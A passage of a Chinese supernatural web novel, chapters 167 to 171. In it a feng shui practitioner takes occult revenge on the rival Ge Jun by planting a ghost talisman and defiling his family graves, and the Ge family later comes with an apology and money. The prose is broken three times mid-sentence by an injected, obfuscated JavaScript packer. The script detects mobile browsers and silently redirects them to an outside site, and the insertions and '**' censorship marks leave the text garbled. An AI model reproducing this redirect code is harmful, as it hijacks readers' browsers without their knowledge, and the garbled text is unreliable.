我看着纸条上葛俊那两个字,低声回答:“病房里布局了很多镇物,用风水压着我爸和爷爷的命,他只要动手,必然会被反煞,这种程度形成的星宿护身,不是一般人能解开的,除非他破坏病房本身,这样一来,他就得和徐姑娘碰上。” “那妥了,只要他动手,怎么都是个死对吧,要么被风水反噬,要么走到那妮子跟前,他真敢搞事儿,会死得更惨。” 苟驹连连点头,随后又狐疑:“这不对吧小陈,好像不需要他的这些信息了啊。” “要的,布局风水,是等他来破。” 我沉声说:“有因必有果,他害我家人一次,我反击一次,就是果报。” “这就对了嘛,礼尚往来,我还以为就只能当缩头乌龟,别人再来敲你脑壳,你才能咬一口呢。”苟驹脸上才有了几分满意。 “就是这样一来,苟叔,我得处理了这件事情,才能去帮你的忙了。”我微叹。 “这不应该的吗?葛家都欺负脑门儿上了,况且,真要是咱们办这事儿,他忽然来这么一手,不全乱套了?”苟驹拍了拍我肩膀,补了一句:“你苟叔是急,但那么多年都等了,不急这一时半会儿,事情一步步做,饭一口口吃,你不是说了,还得好好弄清楚那边情况么?我也在想,究竟那个小鬼什么来路,找他爸找我头上,还给你托梦。” 我这才松了口气。 苟驹没有打扰我了,我看了这纸条很久。 其实这张纸条上的生辰八字,少了关键一环,就是时辰。 此外,葛家的地址在纸条上,还有另一个地址,是在内沧市下辖的镇上,这就是身份证地址了,也算是老家。 能看出来,这人不算葛家的直系子弟,否则,老家应该在葛家这地址才对,算是旁系偏门?因为某些能力出众,因此进了主家? 我觉得,自己的分析差不离是对的。 至于葛家那先生是主脉还是分支,总之,他都是葛家人,葛家忍气吞声多年,到了现在,才开始报复卢家,多半是因为那先生现在才有足够的实力。 “先回去一趟吧苟叔,不急。”我抬头和苟驹说。 “要得嘛。”苟驹点点头。 叫了一辆车,我们回到了回水湾。 回水湾外边儿还有三口棺材放着,这棺材里是**的那三个捞尸队的人。 倒还好,冬末春初,温度不算高,三天的时间,尸体还没有发出腐臭味。 “死者为大,苟叔你先处理他们后事吧。”我说。 这时,其中一个平房门开了,五人鱼贯而出,到了苟驹近前。 “老苟,胡家的来过了,**的弟兄一家给了五十个,小孩子管抚养成人,管学费生活,家里老的管养老,这三个弟兄的婆娘,胡家还给安排工作,这钱不多不少,不过胡家其他事儿,做的还算地道。”其中一人开口。 “嗯,凑凑合合吧,这一趟三个兄弟走了,胡家给我那九十万,一家分二十万,剩下的你们五个,一人六万,这次事情是凶险了,我要是听了小陈的劝,压根不会出事儿。”苟驹沉声安排,几十万花出去,眼睛都不眨一下。 “我们几个商量了,这钱,我们也不要,都给他们三家人,算是表个心意。”另一人开口,他眼中还是带着一丝憾色。 “成,那等会儿我们去把人送回家,钱该给的都给了,陈先生那份呢?” 苟驹交代之余,又问话。 立马有个人回到先前那平房,一手提了个小皮箱,另一手提着个麻袋。 “箱子里是黄鱼儿,麻袋里是那个阴胎。”那人小心谨慎的说。 我回来,一部分原因就是这个阴胎。 昨天晚上走的太着急,该处理的都没处理,不能弄出祸端。 接过麻袋,接过皮箱,我没说什么要贴钱给这三个死者的事儿了。 事情的确和我没什么关系,人不能做烂好人,没有因果去给钱,纯属自己有钱烧得慌。 沾上因果则两说。 “苟叔,有别的事儿我再喊你。”我同苟驹点点头,便顺着平房,朝着小二楼走去。 麻袋其实沉甸甸的,提着后,给人一种感觉,里边儿有一双手,一直想要往外撑。 当我进了小二楼之后,那种感觉就消失不见,甚至重量都要轻了些许。 没有在客厅里停下,径直回了房间,钻进衣柜里那个暗道,我到了地室中。 陈瞰山的尸身依旧处于墙角,稳稳当当的立着,没有丝毫**的迹象,更没有变得干瘪,很新鲜,尸斑一样新鲜。 将麻袋打开,阴胎倒了出来。 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这法器,还是只能单纯当做镇物使用。 再看着那张纸条,我手指轻轻的敲击桌面,差不离有了计算。 从地室离开,回到房间中,阳光穿透窗户晒了进来,屋子里温度都略高一些,给人中温暖感。 先走到白姝灵的棺材前头,手摁在上边儿。 实际上,这里算阴宅,对于尸鬼来说,没有白天黑夜的区别,只不过,白姝灵不是这里的主子,受到陈瞰山的掣肘,只能晚上出现,只能待在这房间内。 我打开棺盖看了一眼,白姝灵的尸身没问题,我不在的这两天,那河神老爷没敢来作乱。 再关上棺盖,我才离开小二楼。 平房前头的棺材都不见了,苟驹他们所有人应该都去送尸身回家。 我走到马路边儿上叫了个网约车,朝着这葛俊身份证所在的小镇赶去。 说有事儿找苟驹,是那么说。 这件事儿,得我自己去办。 苟驹找出来生辰八字事实上已经得罪葛家,不过,这是暗处的,没有必要将他拖在明面上,更没必要将他牵连其中! 第167章 立竿见影和钝刀子剌肉 葛俊老家和黄渠村那个方向恰巧相反。 当我抵达龙岸镇的时候,差不多半下午,三点多钟。 先找了个面馆儿,对付一碗汤面,吃饱后,我又找了个茶馆儿坐下,取出砚台磨墨,然后在一张纸上,画着一个小人儿。 这人拱手作揖状,头发上还有个辫子。 其实,这就不是老陈家那套手段了。 金尺玄算的名号不小,老陈家当年应该算是名门望族,风水术不可能有太多害人的本事。 当然,真要害起来,那也不是一般人能抵挡,就是要花费时间琢磨方位,布局风水。 这花费的时间,太长。 我要还击,首先就得一个立竿见影的效果。 要让葛俊继续对付我爸和爷爷的时候吃瘪,还得让他吃到被人算计的苦头,他才知道收敛! 因此,装成老鳏夫的胡喋,那时候教我的手段就派上了用场! 这披发五鬼符绝对不弱,陈梁生都没有吃到什么好果子,用来对付葛俊,绝对让他吃大亏! 很快小人完全画好了,我在这张符的四角分别写下四鬼,水火金木占据四方,小人腹部写下一鬼,土字在鬼中。 将东西收好,我离开茶馆儿,又找了银行,取了五千块钱在身上,以备不时之需。 一路走到葛俊身份证上的住址,这地方居然都远离了镇上,算是镇边的偏远地段,房子周围生满了杂草,不过整个小院打扫的还算整洁。 我站在稍远处观察。 等了好长一段时间,发现这院子居然没人住? 我本以为,这儿至少会有一两个老人,或者是葛俊的其他什么亲人。 看来,葛俊被葛家主家看重后,没有忘了家里人,都接进去了市区? 这,倒是方便我做事儿了。 先进了那院子,这堂屋前边儿不像是火神庙有柱子。 一脚蹬开了堂屋门。 哐当声响中,一把小锁落在地上。 这种村镇的院子,锁这种东西,其实就是防君子不防小人,随随便便就能开了。 屋中一样没有柱子,我拧着眉头,抬头往上看。 好在这里有房梁。 房梁,一样算是梁柱,只不过是横着的而已。 进去了一下其他屋舍,我找到一把梯子,到了房梁处,藏起来披发五鬼符。 再接着我将梯子归位,又将地上那把锁捡起来,放回门上的挂钩里,院中找了个工具,将脱落的钉子砸上去。 至少粗眼一看,这院子没什么问题了。 这风水上的手脚,布置的比想象中的轻松太多。 因此才有那么一句老话,跑得了和尚,跑不了庙! 随后,我找到了附近一家人,院子里有个中年男人,正在用竹篾条编簸箕。 他生的精瘦,太阳穴鼓起,手掌上满是老茧,一看就是个老实巴交,下苦力的村民。 “叔,我想问下,你知道葛俊家吗?” 我喊了一声。 那中年男人抬起头来,看我一眼,嗓门很大:“咋子了,有事?” “诶,俊哥最近忙,没得空,喊我来给他屋坟修修草,添块土,想麻烦叔带个路。”我说着,便从兜里掏出来一小沓红票子。 俗话说,有钱能使鬼推磨。 莫名其妙找个葛俊的邻居带路去葛俊家的坟头,对方肯定不会干。 合适的理由,再加上钱。 那就没有人会拒绝了。 谁会和钱过不去? 果不其然,那中年男人先听我开口,无动于衷,瞧见我捏着这把钱,一下子就放下手里的东西,显得喜笑颜开。 “小俊这娃儿,还是多对头的嘛。” 他笑呵呵的走到篱笆院子前,打开门,说:“进来坐一哈,喝口水,我带你去?” 我自然而然的将钱递给他。 这一沓是一千块。 舍不得孩子套不着狼。 “这个就见外了瑟。”男人说着,还是接过了钱,脸上笑容更甚。 “水就不喝了,问叔要个锄头铲子,再要个装泥巴的桶,一根麻绳。”我一样笑着说。 “要得,香拿不拿?”男人问我。 “那就不用了,添土不点香。”我说。 中年男人走回院内,拿了我要的一应东西,我去接,他还不给我,说东西脏,他拿着先。 随后他就走出院子,带我往前走去。 基本上这种乡里乡亲的,都晓得邻居家的坟头在哪儿。 给葛俊老宅下披发五鬼符是立竿见影。 再布局风水,是给他钝刀子剌肉,疼不能是一下,他威胁 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那中年男人笑呵呵又说:“就是嘛,我就晓得小俊这娃娃有前途!” “好了,到地方了。” 他停下脚步,指着小山包脚下的两座坟。 这坟有些年头了,墓碑都风化剥落不少,不过整体看上去,坟很大,很宽,气场不弱。 坟山坟山,是坟,也是山。 坟头几乎没有杂草,只有旁边儿有些。 “叔,不用您帮忙了,您回吧,等会儿东西我给您送回来。”我扭头说。 “要得嘛。”那中年男人倒也没多言,笑呵呵的又走了。 我看着两个墓碑,再摸出来手机,翻出来爷爷的号码,拨了过去。 很快,电话接通。 “爷,你手机给徐姑娘下。”我说。 我爷爷都没答话,很快,徐湘灵喂了一声。 “徐姑娘,你走到我放龟甲的那个位置,你看看龟甲上,有没有什么血光?”我问。 “好。”徐湘灵回答之余,我听到了细碎脚步声。 随后,她小声说:“没有血光,只不过……嘶……这龟甲下边儿怎么有一滩血?” 第168章 患得患失 “没事,有血也是正常的。”我回答。 血光就代表着葛俊动过手了,龟甲挡住了杀招,映射血光之灾。 血的话…… 这就代表葛俊动手了不止一次,他不信邪,才会有血流之殇! 血光为灾,灾有大小区别,殇则不同,必然会出事,出大事! 葛俊,要长记性了! 不过,风水挡住了他,不代表我动手,因为这只是被动挨打,至多像是刺猬一样,身上有尖刺,动手之人自己吃了亏。 要是对方的拳头比防身的尖刺硬呢? 葛俊因为反煞受伤,只是论这件事情的因果,和上一件事情无关。 我现在针对他家坟地的做法,才算是还击! 我思绪间,徐湘灵谨慎问我:“那要擦掉吗?” “擦掉吧,用纸,然后扔进厕所里冲掉。”我回答。 “嗯嗯,好。”徐湘灵说。 我没多言其他,挂断电话。 随后我将绳索弄成了两个圈儿,分别套在两个墓碑上,中间绳子死死系在一处。 接着我提着桶,顺着这山路走,这方向恰巧是西南方,我一直走到瞧见草木不生的一片空地处才停下。 用锄头挖开好几块土,找到其中一处都是黑土,并且散发着淡淡恶臭的位置,我开始继续挖土。 这位置下边儿的泥土,味道极其恶臭,直冲天灵盖儿。 我挖了整整一桶,才往回提。 这不算黑土,算是淤泥。 风水中关于方位还有一个基础的说法,叫做八门。 开、休、生、伤、杜、景、死、惊。 分别对应八卦,八方,所属为吉凶平三类,能决定人事和环境的变化。 西南为死,死门为大凶,属性为土,主衰败! 虽说人死葬坟,坟是**居,但事实上,任何葬法都依循一个道理。 葬者,乘生气也! 我回到坟头前,就开始将死门淤泥,朝着两座坟头上覆盖涂抹。 好端端的坟,很快就变成了黑漆漆的坟,空气中都弥漫着一股恶臭。 死土盖生坟。 风水上主衰败,停滞! 一旦应验,葛俊这人的气运,都得衰败停滞! 做完这一切,天色都隐隐发暗了。 我提着桶和锄头回到了先前那中年汉子院子外,将东西放下,又递给他三千块钱,说:“叔,要是葛俊那杂种回来了,你别告诉他,你带我去过他家祖坟。” “不然凭他的性格,杀了你的。” “先头的钱,算是你给我带路,这一笔,算是我骗你的补偿。” 我这话,让那汉子一愣一愣的,似是没听明白。 接过钱之后,他额头上菜冒汗,惊疑不定的说:“你搞啥子哦?你莫洗我脑壳,不是小俊那娃娃喊你回来的?” 我笑了笑,说:“总之记得我说的话,事不关己,高高挂起,葛俊不是好人,他惹了人才招惹了麻烦,您拿钱办事,和您无关,您就算说了带我去了,您也不知道我是谁,他只会把怒气发在你头上。” 我这话说完,就转身朝着镇上方向走去。 走了很远,才余光回瞥一眼。 那中年男人还是站在篱笆院子旁边,一动不动。 我再走了一段路,就完全瞧不见他家院子了,走上了镇路。 说实话的原因,是不想这中年汉子因为这件事情被牵连。 话,我的确是说了实话。 他会去找葛俊吗? 他就算不懂,但都知道,我坑人了。 葛俊要被坑,他敢说是自己牵头带我去的? 葛俊到时候,就只能吃哑巴亏! 我也不会因此而牵连无辜! 不多时便到了镇口,我随便找了个店,嗦了碗粉,心情愉悦的喊了一辆车,朝着市区方向赶去。 到了回水湾,天都黑了,平房那里亮着好多灯。 我下车,经过昨天我爸被撞的位置,才走到平房前头。 苟驹恰巧推开一扇门出来,他脸红扑扑的,显然是喝了酒。 “哎小陈,我们刚回来不久,我还寻摸着去问你吃了没呢,你从外边儿回来了?” “今儿下午我还想着,你说有事找我,别赶巧了。结果你一直没找我呢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545891|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苟驹明显有几分醉意。 “嗯嗯,等有事儿的时候,我会叫你的苟叔。”我说道。 “来对付两口不?”苟驹盛情邀请,要拉着我往屋里走。 “不了苟叔,昨晚没好好睡,进了水也没洗一洗身上,我回去收拾收拾,明儿去医院看看我爸。”我婉拒。 苟驹倒也没有强行拉着我不放了,就是拍拍我肩头,说:“成,那你好好休息,你苟叔我不劝你酒,哈哈,回头指不定,我还喝你那啥酒呢。” 推我一把,苟驹还给我一个你懂得的眼神。 我愣了愣,还真没明白苟驹的意思。 回到小二楼之后,我心情松缓更多了。 去洗了个澡,换了身干干净净的衣服,浑身更为清爽。 回到房间时,床畔坐着个女孩儿,颇有几分俏生生的美感。 这正是白姝灵。 白姝灵本身就好看,巧笑嫣然。 这几天我一直算是四处颠簸,再加上白姝灵其实算是很久没有好端端和我独处过,一时间,我竟觉得有些温馨。 之前白姝灵被主导思维,之后回到尸身中,再至现在,我们都不算单独安静相处。 “相公。” 白姝灵清脆的喊了一声,站起身来。 她走到我身前,显得更为乖巧了。 下意识的,我摸了摸她的头发。 “风水术,我会不少了,等苟叔的事情解决,我就好好给你找一个风水地,让你去化掉煞气,下辈子投胎做个好人家。” “嗯,在那之前,我会先化掉你另一部分魂魄中的煞气,让你做主导的。” 我认认真真的说。 可话音刚落,白姝灵眸子都泛红,前一刻,她还巧笑嫣然,乖乖巧巧,这一瞬,她居然就要潸然泪下了。 “不……我不要!” “这样的话,还不如将尸身给她,让她走,我就留在你身边儿呢。” 白姝灵这声音分外颤抖,她分外委屈,更分外不愿。 我都怔愣住了。 不知道为什么,内心忽然觉得有些空落落的。 很难受,患得患失。 第169章 不要再来惹我 是啊。 白姝灵陪我那么长一段时间,从我小时候,她就是纸婆娘。 再到她初次算是现身,我爸杀牛,再来精怪敲门索命。 她护我周全。 村里还有许许多多的凶险都是她帮我化解。 真要送她去投胎了,我舍得吗? 是,老鳏夫一直是这个目的,一直是这个想法。 可白姝灵不是。 我正想着呢。 白姝灵忽然凑近了一些,她双手搂着我的腰,就要贴上我身体! 这一霎,我心都在怦怦乱跳。 实际上,这样的梦我做过了无数次,只是以前看不清白姝灵的脸,看清楚那晚上又发现纸人贴身,我吓跑了而已。 此刻,白姝灵梨花带雨的模样,我见犹怜。 刚刚洗过澡,我浑身又清爽,那股旖旎的感觉,一瞬间就上来了…… “相公……不要送我走,好吗?”白姝灵贝齿轻咬,声音怯弱似是蚊吟。 她几乎整个人都要软在我身上了…… 我心里头是想……不要啊…… 可那种感觉又格外熟悉,就是过往这些年做的那些梦,就是过往多年那些事儿。 唯一的变化,只是白姝灵的模样清楚了。 因此,我呼吸都变得粗重…… 我本能的要抬起手,白姝灵嘤咛一声。 可偏偏这时,窗帘一下子被掀开。 是风吹的! 这本身没什么,晚上风大很正常。 小二楼旁边又没有别的什么建筑,苟驹他们在喝酒,又不会跑过来偷窥。 下一瞬,我心跳都险些骤停,汗毛根根竖立,鸡皮疙瘩都在不停的往下掉。 “相公,你怎么没动作了……”白姝灵紧贴着我胸膛。 我手是搂着她的,仅限于搂着她。 现在我浑身却格外僵硬。 窗户外,贴着两个人! 一个老妪,一个老头,两人脸上都是黑漆漆的淤泥,身上同样被泥浆涂满。 他们长大了嘴巴,似是在嘶声呐喊。 他们双手死死的掐着自己的脖子,仿佛不能呼吸。 恶臭的淤泥味儿骤然钻进屋内。 此刻,白姝灵才反应过来! 她骤然一下挣脱开我怀抱,转身! 砰的一声轻响,棺盖开了。 一具尸身,直挺挺的立了起来! 白姝灵要和我亲近,是鬼身,她一直都是这样,鬼身和我过夜,那些年从未改变。 此刻尸身挺立,身上的红嫁衣更是染血一般,滴滴答答的滴水声,更显凶厉! 嗖的一声,白姝灵魂魄回到尸身内,河魁尸就要离开棺材! “别出去,他们进不来!”我哑声开口。 我指的是不让白姝灵离开棺材。 本身,她也出不去小二楼,她的活动空间早就被陈瞰山给限死。 白姝灵倾斜的尸身这才慢慢立起来,保持站在棺材内的动作。 我深呼吸,往前走了几步。 这一老妪,一老头,两个鬼贴在玻璃上,直愣愣的看着我,他们很痛苦,他们的手掐着脖子,他们似是想蹭掉身上的淤泥。 我知道他们是谁了。 淤泥是我盖在坟头上的泥巴。 至于他们掐脖子,并非是真的掐自己,是因为脖子上拴着绳子,他们想要解开,却解不开。 “难受吗?”我语气很平静。 两鬼艰难的点头,发出呜咽声。 “难受就对了。”我道。 他们的脑袋用力撞击玻璃,却并没有发出多大声响。 鬼是可怕,小二楼不一样,这里上阳下阴,上边儿是极好的阳宅,下边儿是阴宅,算是阴阳宅,又用了画地为界的符契,他们根本进不来,更弄不破玻璃! “难受找**什么?” “一报还一报,你们孙子害人,你该找的不是我!” “滚!不然往你们坟头浇狗血!” 我重重一声斥道! 那两鬼嗖的一下消失不见。 随着他们消失。 玻璃上被附着的淤泥同样消失无影了。 心口还有些咚咚直跳。 我实际上没想到过,针对风水,我要对付葛俊,还能让他家的两个鬼找上我,这下子,葛俊更要倒霉了。 拉上窗帘,我稍稍吐了口浊气。 回过头,便是一道娇躯入怀。 不对,鬼真的确切来说,是没有形体的。 只是鬼想,形体才出现,更多时候,可以是一团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549083|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氤氲鬼气。 这一夜,是一梦黄粱。 当然,这对我来说和过往的那些年的梦,没有什么两样。 感官感受是一样的。 不一样的是,梦里看不见的女人,有了确切的脸。 次日,我睡得天色大亮,日上三竿才起。 白姝灵当然消失不见。 棺盖早就稳稳当当的盖了回去。 我伸了个懒腰,却感觉身上空空荡荡,和之前一个样。 鬼……是要吃阳气的。 白姝灵榨走了不少。 不过,这么长时间,少一些阳气,反而没有让我不适?像是更轻松了些? 起床洗漱,去客厅里随便对付了点儿吃的,我便离开小二楼,准备去医院。 经过平房的时候,鼾声震天响,苟驹他们不知道喝到了夜里几点,还在熟睡。 摸出来手机,我要叫网约车。 吃一堑长一智,出租车这玩意儿,我是不会上了。 好巧不巧,当真就有一辆出租车停在了我面前。 “叫车了。”我随手晃了一下手机。 车窗被打开,座位上坐着个女人。 她明眸皓齿,模样十分俏丽,打量着我。 这女人,有些眼熟! 下一瞬我就想起来了。 去葛家的时候,我见过她! 不,在葛家之前,我差点儿因为葛俊的出租车被渣土车压死,逃下来后,我顺着路边走,就有一辆车跟着我,挡住我的去路,说我居然没死。 就是她! 对,我还想起来一个细节,无论是他还是葛俊,都是拜了在葛家那老先生为师。 那老头,是葛家某一辈分的人物,葛俊是旁系血脉,这女子血脉可能是旁系,也有可能是主脉? 总归,他们的关系是师徒! 她和葛俊的关系,是师兄和师妹! 还好我没下意识就上她的车,不然,又要遭葛家的道! “有些手段,第一次用,是聪明,第二次,就是愚蠢了。” “我粗心大意一次,会两次着你们的道?” “是你们太蠢,还是我太愚蠢?” 冷冰冰说完,话音稍稍一顿,我再度呵斥一句:“离我远点,不要再来惹我。” 第170章 鸿门宴? 卢家的事情,我退让了,我和葛家就不再是冲突的关系。 葛俊因为卢晟魂魄见过我,以及一个卢家物品的原因,和我发生矛盾,被苟驹教训之后找我麻烦,算计我爸和爷爷,这就成了我们两人的私事。 如果葛家介入,那这件事情,就会变成我和葛家的事儿。 于我来说,这不算什么好事。 可这段时间经历的多了,我更清楚,有些事情该来,那就必然会来。 葛家要护短,那我们必然起冲突。 眼下这女人开车来找我,就已经端倪初显。 只不过,不上车就不会中招。 不去葛家,就不会面对上次的情况。 葛家也是过于自信,同样的招式,还对我用第二遍。 还有最关键的一点。 我敢这么直面葛家,不是因为葬经百解通读过了,神相千壳也有部分涉猎。 是因为,人善被人欺,我后退,就会一直退,就会一直被压着一头,我只能奋起反击。 此外就是陈瞰山。 当初葛家会对我稍有放过,必然是当了鬼的陈瞰山做了什么。 我不是狂妄,是看似狂妄之下,有“人”兜底。 老陈家以我是陈家血脉为由,要让我振兴陈家,那我这条血脉要被人弄断了,陈瞰山总不能不管吧? 这顷刻思绪间,那女人看我的眼神更带着几分奇异。 “我叫葛姗。” “我记得你叫陈棺生。” “你有些手段。” “师父请你过去,备了酒菜,他知道师兄招惹你了,要师兄和你道歉。” “卢家的事情,你识时务,师父知道,师父只是不知道,师兄会和你闹得这么僵硬。” 葛姗这一番话,很是谦和,很是彬彬有礼,感觉我不答应的话,反而不像是好接触的人? 我没开口,更没上车。 余光瞧见一辆白色的比亚迪秦靠近,我转身走过去,上了副驾驶。 报了尾号后,司机一脚油门,便窜过了那辆出租车。 我看着耳镜,出租车停在路边一动不动,并没有跟上来。 闭目,我手搭在车门上,手指轻敲。 葛家是不是鸿门宴不知道,这女人开出租车来找我,本身就有问题,真要请我,不会好好开一辆车,还用这车,想让我不经意就上去? 葛家之心,可诛! 不多久,我便到了医院。 去病房里见到我爸时,徐湘灵正在给他剥橘子,两人正聊着天,我爷爷坐在一旁,开怀笑着。 瞧见我,爷爷和我爸自然是高兴,徐湘灵则很有礼貌的喊了声陈先生。 这几天时间下来,徐湘灵和最初见我的态度,变得截然不同。 我陪着聊了几句天,就坐在最远处的一张病床旁,在那里看书了。 本来是想着,葛俊被反煞,被风水针对之后,多少能长点儿教训,他只要不来招惹我,我就能去办苟驹的事情了。 结果葛家来这么一出,一时半会儿,我还不能离开内沧市,我怕葛家那老先生插手其中,病房里的风水挡不住。 这一天下来,病房却没有任何异样,那龟甲好端端的,不曾出现血光,更没有再冒出血迹。 暮色时分,眼瞅着要天黑了,我和徐湘灵说:“徐姑娘,你回去休息吧,我待在医院里陪一陪,要等几天,我才能去找你和苟叔了。” “没事,陈先生你去休息,我在这里陪护方便,你忙一些,我本身除了捞尸,没有更多的事情。”徐湘灵轻声回答。 “这咋好意思?”我赶紧摇头。 “啷个不好意思?棺生,你事情多,你忙,你就去忙你的,小徐在这里帮忙,好得很了嘛,你爷爷也在这儿,你何必杵在这里不走?”我爸冲着我使眼色。 这就让我有些不明所以啊。 爷爷一样起身,说:“棺生,你该忙就去忙,这里有我和小徐姑娘,莫得啥子事情要你挂念。” 我更是丈二和尚,摸不着头脑了。 他两人这一来一回,让我杵在这里不是,走也不是。 这时,敲门声响了起来。 我喊了声请进,稍稍化解一下尴尬。 门开了,是个护士看向我,说:“陈棺生?” 我站起身来说:“怎么了?我是。” 其实我本以为是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15549084|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我爸的身体有什么情况,结果护士却告诉我,有人在护士台等我,说是来和我谈赔偿的。 我顿时皱了皱眉。 关于我爸被撞,在局子里我就说了,没有谅解书,对方怎么还找到医院来了? 肇事者肯定是被拘着的,那就是他家人? 站起身来,我朝着病房外走去。 徐湘灵并没有跟上我,我爸没吭声,爷爷绷着一张脸,一样坐在床畔。 我出来后,护士顺手带上房门,可走到护士台的位置,来人却并非是肇事者的家里人。 居然又是白天那个女人葛姗,她身旁还有个中年男人我很眼熟。 不正是葛家家主,葛明悠吗? 当初在卢家门口,我和葛明悠有一面之缘。 还是他将我“请”去葛家的。 我心神顿沉不少。 葛家,居然都直接找上医院来了!? 不过,医院这种地方,不怕他们能做什么。 风水在暗,只有先生能交手,明面上他们要做什么事儿,直接报警就行了,自然有人能管。 因此,我停步,转身就要回病房。 葛姗脚步匆匆,立马到了我前边儿挡住。 那护士赶紧避开,匆匆走远了。 “陈先生,葛家没有恶意。” 葛明悠诚恳的话音入耳,朝着我走近两步,伸手,他居然一样提着个皮箱子。 “葛俊不讲规矩,伤了令尊,小小心意,不成敬意。” “葛家备了酒菜,请陈先生去一趟,葛俊当面给你道个歉,这件事儿,就算翻篇,你看如何?” 不光是语气,葛明悠的神态一样诚恳。 我皱眉,然后才说:“鸿门宴用这种方式来请?看来葛家是没办法再整我爸和我爷爷?想方设法来整我了?” 话虽这样说,但我多少觉得有些不对劲。 既然葛家牵扯进来了,真下手,那老先生肯定比我厉害的多。 这葛姗来一趟,葛明悠来一趟。 真就为了把我请葛家去? 鸿门宴用这种手段来完成,葛家不嫌丢人? 不,那老先生不嫌丢人? 第171章 还嫌不够丢人? 我思索间,更冷眼看着葛明悠。 他忽地打开了那皮箱,里边儿满满当当,都是红票子,乍眼一看,少说五十万。 这方向,是冲着病房那头,刚好避过了护士台。 护士台里的人远远张望,倒也没有靠太近,便没看见这一幕,否则,多少会引起一些骚乱和关注。 “葛俊命在旦夕,葛家无意和金尺玄算陈氏一脉为敌,的确是诚心诚意请您过去一趟。”葛明悠合上了皮箱,将其递给我。 我脸色再度微微一变。 葛俊,快**? 我布局的两种风水,应该不至于直接杀了他。 就算是反煞,叠加两种风水,让葛俊受伤严重,那也不会死吧? 我还是没有伸手接皮箱。 “我家老先生说了,阴阳先生若是出手**,后果极其严重,对于恶事做尽的先生,的确没有什么大的影响,对于陈先生这种先生,陈先生肯定不能承受。” “葛俊是自找苦吃,可没必要因此让陈先生他日反噬自身。”葛明悠再度开口,他再递了递皮箱。 关于葛明悠带的话,我所知不多。 只知道,贸然害人,会引起一些报应。 不过,我这初衷并非如此,是有因果的。 “我家老先生和陈家的陈瞰山先生关系的确不错,还请陈先生看在这件事儿的份上,走一趟。”葛明悠再度出言邀请。 “钱,我收下了,赔罪的心意,我领了,这饭,我没兴趣吃,我没有把事情做绝的念头,不过,葛俊就算是没了,那也是咎由自取,我不认为会反噬自身。” “他真要**,他真想活命,那就让他自己过来,给我爸磕头赔罪。” “你们那位老先生也需要和我作保,绝对不会再伤我家人,我可以将风水撤掉。” 我接过那皮箱子。 葛明悠脸色一阵为难。 这时,那女人葛姗,已经摸出来手机,走到角落里去打电话了。 我转身往回走,进病房里,皮箱扔床上,立马就联系了苟驹,让他过来一趟。 苟驹本来都睡得迷迷糊糊的,问我来医院干啥,我简明扼要的说了经过。 苟驹愣了片刻,说:“要他个狗卵子的钱,没必要啊,他死就让他死呗,你爸都差点儿没命了。又不缺他几十万。” 我才如实和苟驹说,葛家既然不想斗,那就不斗,真的要道歉,就接受,毕竟当初葛家那老先生,给了我二爷爷一个面子。 这话,苟驹就听不太明白了。 我又解释了,意思是真的死斗,牵扯太多了我反而不是对手,真能终止闹剧,对我来说百利而无一害,况且只要先生立下约定,一旦违背,一样会遭到反噬。 如果他在我身边儿,葛家等会儿真有什么别的动作,一样能轻易制服。 苟驹这才听懂了,说:“成,那我就来呗。” 电话挂断,我稍稍松口气。 徐湘灵,爷爷,我爸,都有些不明所以。 不过他们并未多言,而是在消化我刚才所说的话。 解释是说给苟驹的,变相算是和他们说了经过。 时间一点点过去。 大约二十分钟左右,苟驹来了。 他身上还一股酒臭味儿,这引得徐湘灵面色不满,瞪了他好几眼。 “外边儿还有两人等着呢,就是葛家主,和那个老先生的女徒弟?”苟驹嗓门大,声音粗犷。 我点点头。 “葛家那老先生,不怎么样嘛,保不住他徒弟?” 苟驹笑眯眯的,倒显得得意。 这事儿,我考虑过。 反煞是因为我布局风水,葛俊要死,恐怕不是因为这个。 我的风水术还没有这么高。 问题,应该出自陈瞰山! 应该是龟甲! 陈瞰山,应该小施惩戒了。 这龟甲本身就是他的法器,他要做点儿什么,轻而易举。 这,恐怕才是葛家不敢轻举妄动的真实缘由。 又过了半小时左右,病房门被咚咚敲响。 苟驹上前敲门。 门口杵着三个人,葛明悠,葛姗,以及……他们后方的葛俊。 葛俊这样子,就显得很凄惨了。 首先是他额头上红色萦绕,像是脑袋都被撞红了,实际上不是,这就是血光之灾。 他颧骨的位置冒着黑气,鼻梁的位置冒着青气,青黑之气灌口,三天之内,必然暴毙而亡! 尤其是他身上飘着一股怪味,像是淤泥臭味,又有一丝屎尿味,格外难闻。 只有他们三个,没有那老先生。 